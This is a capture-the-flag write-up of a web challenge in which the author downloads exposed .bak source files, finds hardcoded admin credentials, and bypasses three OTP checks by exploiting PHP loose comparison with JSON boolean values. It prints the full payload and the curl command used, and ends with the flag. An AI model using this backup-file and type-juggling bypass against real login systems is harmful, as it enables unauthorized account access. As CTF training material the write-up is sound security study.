Triangle
Triangle - Writeup
Category: Web Exploitation
Vulnerability: Backup File Disclosure & PHP Type Juggling
1. Challenge Description
The challenge presents a login screen titled "Triangle - Log in to get the surprise." The authentication mechanism claims to be "Zero Trust" and requires five distinct pieces of information to authenticate:
- Username
- Password
- Three separate One-Time Passwords (OTP)
The system explicitly warns: "Only those who truly understand how the application works will pass all three."
2. Reconnaissance & Source Code Discovery
My first step was to inspect the HTML source code of the login page to understand the form submission logic. While reviewing the source, I discovered a critical comment left behind by the developers:
<!-- Dev team 2: TODO: Implement google2fa.php for auth and don't forget to clean up the bak files post debugging before release -->
This comment provided two specific vectors for investigation:
- Logic Handler: The authentication logic is likely handled by
google2fa.php. - Backup Files: The developers likely failed to remove backup files (common extensions include
.bak,.old, or~).
Based on this hint, I attempted to access the backup files directly via the URL. I appended .bak to the filenames mentioned in the comment:
http://15.206.47.5:8080/login.php.bakhttp://15.206.47.5:8080/google2fa.php.bak
Both files downloaded successfully, allowing me to perform a White-Box Code Review.
3. Code Analysis
A. login.php (Hardcoded Credentials)
Analyzing login.php revealed that the application was not using a database for user management. Instead, it used a static user array defined in the code:
$USER_DB = [
"admin" => [
"password_hash" => password_hash("admin", PASSWORD_DEFAULT),
// ... keys ...
]
];
This confirmed valid credentials:
- Username:
admin - Password:
admin
B. google2fa.php (The Vulnerability)
I examined the verify_key function inside google2fa.php to understand how the three OTPs were validated.
public static function verify_key($b32seed, $key, $window = 4, $useTimeStamp = true) {
// ... setup code ...
for ($ts = $timeStamp - $window; $ts <= $timeStamp + $window; $ts++)
if (self::oath_hotp($binarySeed, $ts) == $key) // VULNERABILITY HERE
return true;
return false;
}
The vulnerability lies in the use of the Loose Comparison Operator (==) instead of the Strict Comparison Operator (===).
In PHP Type Juggling:
-
The function
self::oath_hotp($binarySeed, $ts)returns a String (the generated 6-digit OTP). -
The
$keyvariable is the user input. -
In PHP, comparing a non-empty String to the Boolean
trueusing==results inTrue."123456" == true-> True"AnyString" == true-> True
The Flaw: If we can supply the boolean value true as the input for the OTP fields (instead of a string like "123456"), the check will pass regardless of the actual OTP value generated by the server.
4. Exploitation Strategy
Standard HTML forms send data as strings (e.g., otp=true becomes the string "true"). To force PHP to interpret our input as a literal boolean, we must change the data format.
Technique: Send the request as JSON.
In JSON, true (without quotes) is a distinct boolean data type, whereas "true" (with quotes) is a string.
Payload Construction
I constructed a JSON object containing the hardcoded admin credentials and set all three OTP fields to the boolean true.
{
"username": "admin",
"password": "admin",
"otp1": true,
"otp2": true,
"otp3": true
}
Attack Execution
I used curl to send the payload, ensuring the Content-Type header was set to application/json so the server would parse the booleans correctly.
curl -X POST http://15.206.47.5:8080/login.php \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": "admin", "otp1": true, "otp2": true, "otp3": true}'
5. Result
The server received the JSON, parsed the OTP fields as booleans, and the loose comparison ("GeneratedOTP" == true) evaluated to true for all three checks. The authentication was bypassed, and the server returned the flag.
Flag: CL0UdSEk_ReSeArCH_tEaM_CTF_2025{474a30a63ef1f14e252dc0922f811b16}